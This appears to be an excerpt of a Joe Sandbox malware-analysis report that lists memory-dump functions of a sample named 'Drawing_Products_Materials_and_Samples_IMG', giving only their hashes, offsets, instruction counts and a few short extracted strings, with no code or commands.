Instruction Fuzzy Hash: FEA19475E01228DFEB68DF6AC944B9DBBF2BF89300F14C1AAD408A7250DB745A85CF51

Function 36A92EAC Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0457aed3fe4804f1b74a90427c611cb962a6ca94cece0d3f227a399ae49f7f87
Instruction ID: 1b0f5ae02e582716bf94d73dcb351a26be9438b95e966f88ba3f32e54d6df207
Opcode Fuzzy Hash: 0457aed3fe4804f1b74a90427c611cb962a6ca94cece0d3f227a399ae49f7f87
Instruction Fuzzy Hash: 2591CD74D102188FEB50DFA9C984BDCBBF1FF89314F208269E409AB291DB759985CF58

Function 37417708 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d483af579626ba7442eea8a5d2cba4844de5138f260305a7d0742b8d54921e04
Instruction ID: 78b6e278515a5f34ec46dcc424e191e97ba347fe52b17c71deb5afe33e65b261
Opcode Fuzzy Hash: d483af579626ba7442eea8a5d2cba4844de5138f260305a7d0742b8d54921e04
Instruction Fuzzy Hash: A791B274E00218CFEB54DFA9C990ADDBBB2BF89300F648129D815BB354DB356946CF54

Function 37410040 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c724f18fa50e9e9ed7f13f23b71487e0a1051ba536ca6315c3fb102ac910ca8e
Instruction ID: 7e5b7a278184ef98551a2cb890f2f12af60cf8ee9208a6a4ba817aee2f2ab610
Opcode Fuzzy Hash: c724f18fa50e9e9ed7f13f23b71487e0a1051ba536ca6315c3fb102ac910ca8e
Instruction Fuzzy Hash: 8E91A274E00218CFEB54DFA9C990ADDBBB2BF89310F608129D805BB354DB35A946CF54

Function 3740FB38 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a195cd5fbec2d5530a69daad1250118346d7ccdf13819f3381a67163d2ab3ad0
Instruction ID: 4bc74d4de3a25d39361f82d22b1158de07b87b4ab0454b8fb1ebfdd20eed482e
Opcode Fuzzy Hash: a195cd5fbec2d5530a69daad1250118346d7ccdf13819f3381a67163d2ab3ad0
Instruction Fuzzy Hash: D291A074E04218CFEB54DFA9C990AEDBBB2BF89300F608129D815BB358DB356946CF54

Function 37408470 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c5aa991aadf23ba36c9b834a5aca356c94ed0bb2f563adeea87514e338cb56
Instruction ID: 83a5462cf7d96d98d0ed0e5529da0bd780e4ab91c747b7cdc1e61d5b5eedcc03
Opcode Fuzzy Hash: a8c5aa991aadf23ba36c9b834a5aca356c94ed0bb2f563adeea87514e338cb56
Instruction Fuzzy Hash: 9391A174E00218CFEB54DFA9C990ADDBBB2BF89300F648129D805BB358DB356986DF54

Function 373685E8 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64f8aed2256e6e190c992ef8cbbd248c99221c84a50af20cfd28f9a58bb20fe
Instruction ID: 5feb934a95f76e0faa095354ef2f97f1324368e6334d782ddb9f0b04188f393a
Opcode Fuzzy Hash: a64f8aed2256e6e190c992ef8cbbd248c99221c84a50af20cfd28f9a58bb20fe
Instruction Fuzzy Hash: 3D81B1B4E003188FDB58CFAAD9987DDBBF2BF89304F20816AD419AB254DB345985DF50

Function 373698F9 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73bd88fa0f9f9a7b8fb0d3f9cf753007fdf6ce29ea5929c22cb6b3507c5ff884
Instruction ID: e8861d3b19cd456d04109e777201e892c6f4e95e892d565722aad7ed0c77b6ad
Opcode Fuzzy Hash: 73bd88fa0f9f9a7b8fb0d3f9cf753007fdf6ce29ea5929c22cb6b3507c5ff884
Instruction Fuzzy Hash: 2A61E975E012089FEB14DFE9D984BDDFBF6AF89314F14C129E808AB359EA319901CB50

Function 37584960 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 577db0b3fcb71626ee4cf168c663bfe88a50817e3523a4a29211339734255d7d
Instruction ID: 10b6f899f53b09df77ccc8e7c46218a9e26a84a3ea56f51bd40be4b57ff4d81d
Opcode Fuzzy Hash: 577db0b3fcb71626ee4cf168c663bfe88a50817e3523a4a29211339734255d7d
Instruction Fuzzy Hash: 72719775E016188FEB68CF6AC954B99FBF2BF89301F14C1EAD448A7254DB344A85CF50

Function 375826E1 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ef56bf40ebdae44c98d4b425a876772c966fce9dbdf8fd9a906cf9908b6453
Instruction ID: 19144d342016eb053dc5ba3d5ac3f5e0833faf4c0971801e35f454e0a964faef
Opcode Fuzzy Hash: 92ef56bf40ebdae44c98d4b425a876772c966fce9dbdf8fd9a906cf9908b6453
Instruction Fuzzy Hash: EE71A6B5E016188FEB28CF6AC944B99BBF2BF89300F14C1AAD448A7254DB744A85CF11

Function 36A90B2B Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61433c33a87142509652bcdbdfc9265cb3df2ae287fdcf1ee6bc28aead6bb2e
Instruction ID: eaa4f1a5e816ff6128403ced7c50ec6c2d5a0971c0b562864170f7d6aa30833b
Opcode Fuzzy Hash: c61433c33a87142509652bcdbdfc9265cb3df2ae287fdcf1ee6bc28aead6bb2e
Instruction Fuzzy Hash: 50719575D05228CFEB64CF6AD9446DDBBF2BF89301F1090AAD408A7354DB349A86DF40

Function 36A917AD Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7fdf58fb3d2ea97fb946a35c406af1bc4d8dc5047c056d0094c031c670f3a73
Instruction ID: 6a4247f8b98d88869bec2d9e28636ca774573aba6180aff177093192ff1439b4
Opcode Fuzzy Hash: b7fdf58fb3d2ea97fb946a35c406af1bc4d8dc5047c056d0094c031c670f3a73
Instruction Fuzzy Hash: 837184B5E016288FEB68CF6AC954B99BBF2BF89300F14C1A9D408A7254DB744A85CF51

Function 0011EBD8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d2c014fa4977e96296d2dd8ecb621a42f96068d05bf9e74ea8bcbe83e5bad87
Instruction ID: 193fb908a720548e2cbd9613f95838c0c9c19063d5c1b80cb68dd11cc61756b6
Opcode Fuzzy Hash: 3d2c014fa4977e96296d2dd8ecb621a42f96068d05bf9e74ea8bcbe83e5bad87
Instruction Fuzzy Hash: A151B274E00208DFEB58DFAAD984A9DBBF2BF89300F248129E815BB365DB305941CF54

Function 0011EBD3 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41cf24900d550f21e1acbe06478be52de408cf404bf83c9295fe1fc5a5786fa8
Instruction ID: 3666439265462064dc8a3fdabb052431763a75500ded3f6a409cc2ef19cc1433
Opcode Fuzzy Hash: 41cf24900d550f21e1acbe06478be52de408cf404bf83c9295fe1fc5a5786fa8
Instruction Fuzzy Hash: F451B474E04208DFEB58DFAAD844A9DBBF2BF89300F249129E815AB365DB305942DF54

Function 0011D513 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751c19b3f933932f403ce8ba6ebae3a3b3c6b64a8046885c3396667930bc01ec
Instruction ID: 3a8eeb3e85ec5ed266d1c77735d6f7eb18f3a0c0fd3eab559f231060edcd2dda
Opcode Fuzzy Hash: 751c19b3f933932f403ce8ba6ebae3a3b3c6b64a8046885c3396667930bc01ec
Instruction Fuzzy Hash: 25519274E01208DFDB58DFAAD9949DDBBF2BF89300F209169E409AB365DB31A901CF50

Function 373D5FD0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb59d6976512254a61dfb3371bec2aeec0874882382422311bfa6eed27d17982
Instruction ID: 208c6977b010b0c977a89a973dacbc3ac47fcaaa2fb2c9fdac4439794fee9a9b
Opcode Fuzzy Hash: fb59d6976512254a61dfb3371bec2aeec0874882382422311bfa6eed27d17982
Instruction Fuzzy Hash: 4C51F4B1D00608CBEB18DFAAC8447DEBBF2AF89304F20C16AD418BB295DB355946CF54

Function 37367B79 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195dfe3b268480a8b334a8f526f76b42b9688434a15cdc6f6b21e895a8516634
Instruction ID: 25eebf6e8ddfe2b79e4b624912ee1a1ccecb66b1a0ef4307585b446209b3f042
Opcode Fuzzy Hash: 195dfe3b268480a8b334a8f526f76b42b9688434a15cdc6f6b21e895a8516634
Instruction Fuzzy Hash: CE41F7B0D012088BEB18DFAAC8947DDBBF2BF89314F60C06AC418BB294DB755946CF54

Function 37583B90 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4396243cd14fe5a3e81fa8ae363d2048d1ef2b38d2673b463aca510bb0dd7871
Instruction ID: be3791d850f77dc8101e5860a3624a72a5eee28f6f09295ce738e14f79a6f807
Opcode Fuzzy Hash: 4396243cd14fe5a3e81fa8ae363d2048d1ef2b38d2673b463aca510bb0dd7871
Instruction Fuzzy Hash: 74518AB1E016189BEB68CF5BD8447DEFAF3AFC9200F14C5AAC40CAA254DB3449868F51

Function 37582DC1 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf577b202723470b64bcb03b176d56b4300a6923d13f7dbced8f9d2841f992e
Instruction ID: bc868d3b81618e1abf61fb02681c8d2377ea9a4db37ef949346a1573bbc3ed7a
Opcode Fuzzy Hash: daf577b202723470b64bcb03b176d56b4300a6923d13f7dbced8f9d2841f992e
Instruction Fuzzy Hash: F4416AB1E016188BEB58CF5BD95479EFAF3AFC9300F14C5BAC40CA6254DB740A868F51

Function 375834AA Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9648a05db437b2f8850c94079e96d0faa99e6f298a4ce5db21ed007f493ac4
Instruction ID: aee3804a035e507232466ecbb42e2910f966417a4362ad3f7951ed6ddb08e5f1
Opcode Fuzzy Hash: 6d9648a05db437b2f8850c94079e96d0faa99e6f298a4ce5db21ed007f493ac4
Instruction Fuzzy Hash: E0417BB1E016189BEB58CF5BD94479EFAF3AFC9310F14C1BAC40CA6254DB340A868F51

Function 37581FF8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151341097.0000000037580000.00000040.00000800.00020000.00000000.sdmp, Offset: 37580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37580000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ee206bd96ffda5cbc6f3c06cc1b11a3ab8b51a0851b6338e98a15282ff1df3
Instruction ID: 95f15b71b1641415d7f2cf35940269e3538b8c010c3dd492b40cd23c14d2c4b0
Opcode Fuzzy Hash: 22ee206bd96ffda5cbc6f3c06cc1b11a3ab8b51a0851b6338e98a15282ff1df3
Instruction Fuzzy Hash: 8E419C71E016588BEB58CF5BC85479AFAF3AFC9300F14C1BAC44CA6254DB740A858F51

Function 36A91E89 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b428ada45d7cc0869fee1d58cf070edcab9cf6e17e35888bf6378da228131c
Instruction ID: 9123bf8289731dea6df0d20ed7f08569b4f1ac60116560d3cc3c1ff782564992
Opcode Fuzzy Hash: d3b428ada45d7cc0869fee1d58cf070edcab9cf6e17e35888bf6378da228131c
Instruction Fuzzy Hash: 9A416B71E016188BEB58CF57D9447DEFAF3AFC9304F14C1A9C50CA6254EB740A858F51

Function 373D36B8 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150954301.00000000373D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 373D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_373d0000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c90405206fde2cdbc8c45d43f14329f9782e3ee7091ebb82741229e2673a7056
Instruction ID: 3803b68e1303de8db5637b59d60f5e54c545f831bfcb7cfc71e15dc4aa516618
Opcode Fuzzy Hash: c90405206fde2cdbc8c45d43f14329f9782e3ee7091ebb82741229e2673a7056
Instruction Fuzzy Hash: D941E6B5E01608CBEB18DFAAD9406DEFBF2AF89300F20D12AC418BB254DB355946CF55

Function 37401CDF Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fa0efe3fec7baeee8cdc0892d8bf36e272b207ecc221789dc8a69496c6187d
Instruction ID: 2168003583b8b1d0f6ed7b5e2dbfe0c2aadc6beaefce1b25835b7946cade9579
Opcode Fuzzy Hash: 26fa0efe3fec7baeee8cdc0892d8bf36e272b207ecc221789dc8a69496c6187d
Instruction Fuzzy Hash: CE41D074D012188BEB18DFAAD9546DEFBF2BF89300F20D17AD418AB254EB345946CF50

Function 36A92571 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41a946a84d5a547531b7531cc630864c2c5ee85c4c941430adc426e37bd0bb6
Instruction ID: ae2fe94b682b3ed50107230763e7f22c9b466bac1661fec4d2fecaf4f888ab0a
Opcode Fuzzy Hash: d41a946a84d5a547531b7531cc630864c2c5ee85c4c941430adc426e37bd0bb6
Instruction Fuzzy Hash: 1241C274E01648CBEB58DFAAC5546DEBBF2BF89300F20D12AD818AB258DB354946CF44

Function 37408460 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8ff4c71a938ba0f3b3c4a28ce52013fdcafd0ec6d965e3a346aa99fe87b646
Instruction ID: a82c429928f560db292b06ad5c6eeab4f04470511c011ada8f6841ab1df4f131
Opcode Fuzzy Hash: ba8ff4c71a938ba0f3b3c4a28ce52013fdcafd0ec6d965e3a346aa99fe87b646
Instruction Fuzzy Hash: 0931E374E012088BEB08DFAAD9406DEFBF6AF89300F20D13AC818BB254DB345942CF54

Function 373693B0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52c800d5f57dde7c01be7d23a84eb6c7f1ffeb5f0e56385949a77e19324ac5e4
Instruction ID: 6f0ebbf00168c7ee0659096d7d6cd4ac47f134a207c379acdbe72010e8d1349e
Opcode Fuzzy Hash: 52c800d5f57dde7c01be7d23a84eb6c7f1ffeb5f0e56385949a77e19324ac5e4
Instruction Fuzzy Hash: 0841C974D016488BEB18CFAAD9546DEFBF2BF89304F20D02AC418BB259DB345946CF54

Function 3740FB28 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151145187.0000000037400000.00000040.00000800.00020000.00000000.sdmp, Offset: 37400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 388bcd2bf1a2b880f4ddc502a80c3d07fcf8a9bcd63a40a41059dadc3e5bb541
Instruction ID: 4cef3c50c2df8183525004a8d532432d0941467776e6d431d0e49c8effc3b266
Opcode Fuzzy Hash: 388bcd2bf1a2b880f4ddc502a80c3d07fcf8a9bcd63a40a41059dadc3e5bb541
Instruction Fuzzy Hash: DC31B274E01648CBEB44DFAAD8506EDFBF2BB89300F20D13AC819AB255DB345942CF55

Function 373622EF Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28be90d7a9d5e6e56dff19848962ea21c0cc4315c5be7bc9ca5c4fb9e39aa5a9
Instruction ID: d5fa2105d3df643f969aca59ff2e2f601eb62e5177ea25dfab5b7db3ed721e57
Opcode Fuzzy Hash: 28be90d7a9d5e6e56dff19848962ea21c0cc4315c5be7bc9ca5c4fb9e39aa5a9
Instruction Fuzzy Hash: 3641E5B4D056088FEB18DFAAD9446DDBBF2AF89304F20C12AC418BB259DB345946CF54

Function 37417A18 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fba1708807d2f6734bbfb8d0a77f37a1f88893f31b0673543fcc0482ef6380c
Instruction ID: 022c4b7ebcfc84f480c5133039263e04f7cf7691a113dcba7b25f6b502a4ce54
Opcode Fuzzy Hash: 6fba1708807d2f6734bbfb8d0a77f37a1f88893f31b0673543fcc0482ef6380c
Instruction Fuzzy Hash: C5310974E05208CBEB14DFAADA546DEBBF2AF89300F24D02AC418BB354DB356942CF55

Function 374176F8 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbdce20a5bff4b3dbe9822f31904f0c4c7f38f74ea6b326a0f957f3e5ffa2434
Instruction ID: 5ae744c78a8ac9a4893be1ce6dee283bdc775e5297cc145c0e741964c23285d6
Opcode Fuzzy Hash: fbdce20a5bff4b3dbe9822f31904f0c4c7f38f74ea6b326a0f957f3e5ffa2434
Instruction Fuzzy Hash: DC31E5B5E05248CBEB04DFAAD9506DEBBF2BF89300F24D02AC818BB255DB345946CF55

Function 00118828 Relevance: 16.9, Strings: 13, Instructions: 685COMMON

Download Yara Rule

Strings

t!]4, xrefs: 00118FC6
]4, xrefs: 001189E6
P!]4, xrefs: 00118BC9
8!]4, xrefs: 00118CB5
l ]4, xrefs: 0011900E
!]4, xrefs: 00118A2B
H ]4, xrefs: 001189A1
` ]4, xrefs: 00118A70
T ]4, xrefs: 00118AB5
\!]4, xrefs: 00118B3F
x ]4, xrefs: 00118E86
,!]4, xrefs: 00119176
h!]4, xrefs: 00118EEE

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: !]4$,!]4$8!]4$H ]4$P!]4$T ]4$\!]4$` ]4$h!]4$l ]4$t!]4$x ]4$ ]4
API String ID: 0-2294103709
Opcode ID: 2a2faa89dee40bfd4f9666e428439a917475081943b03fafc6c0c54742cc2799
Instruction ID: f70bc805dde6e099bf343cd7f44cde677056f886bc752a90754cf35a6f28c73c
Opcode Fuzzy Hash: 2a2faa89dee40bfd4f9666e428439a917475081943b03fafc6c0c54742cc2799
Instruction Fuzzy Hash: 9C522034A012188FEB689BA4C860BDDBBB2FF89304F1081ADD01A6B795CF349D46DF55

Function 0011A533 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

,-]4, xrefs: 0011A624
,-]4, xrefs: 0011A668

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: ,-]4$,-]4
API String ID: 0-4257694735
Opcode ID: b198f7cb7cd07911c90cba9fadbcaf7364f3e8745394fae7b66e22a4de2131b1
Instruction ID: f5351a613b81f7ebe93800560b80b60160ebf5ff1b7f6869790774ee834d2cb5
Opcode Fuzzy Hash: b198f7cb7cd07911c90cba9fadbcaf7364f3e8745394fae7b66e22a4de2131b1
Instruction Fuzzy Hash: 8A516775E0125ADFCF09CFA4C8549DDBFB2FF89300F14812AE805AB254EB349995CB91

Function 36A94240 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

}]4, xrefs: 36A94293
}]4, xrefs: 36A94287

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: }]4$}]4
API String ID: 0-1177746836
Opcode ID: 769c9cad59af50d238356fd77001285fce1a4b090c144aef35227a66a8b4a471
Instruction ID: 191f6fff22de160a3384e76ffe5f8517714eebdbaec6b4c3849ad2a994d202e5
Opcode Fuzzy Hash: 769c9cad59af50d238356fd77001285fce1a4b090c144aef35227a66a8b4a471
Instruction Fuzzy Hash: 98119E397102048FD704DB6AD984E96B7E6FF89765F2081AAE54ACF360CA71EC00CB60

Function 36A93699 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

, xrefs: 36A93755

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 8a86a98344a84d5a69c466550b026bffc0e9e29810ef6ae748a869889b77de59
Instruction ID: c5dfeec0be172287da76569c3fcb451d1d848eadb9701d69a06e919416bad56d
Opcode Fuzzy Hash: 8a86a98344a84d5a69c466550b026bffc0e9e29810ef6ae748a869889b77de59
Instruction Fuzzy Hash: 1371E434B043449FEB059F78946529D36F2EFC6360F34822AE862DB3D1CE398D428796

Function 36A94390 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

p]4U, xrefs: 36A9446B

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: p]4U
API String ID: 0-2385810671
Opcode ID: 3e37d70b628c9917eed603eadfd395c9d7f2641e09fd59a541c5f42a97bdeec5
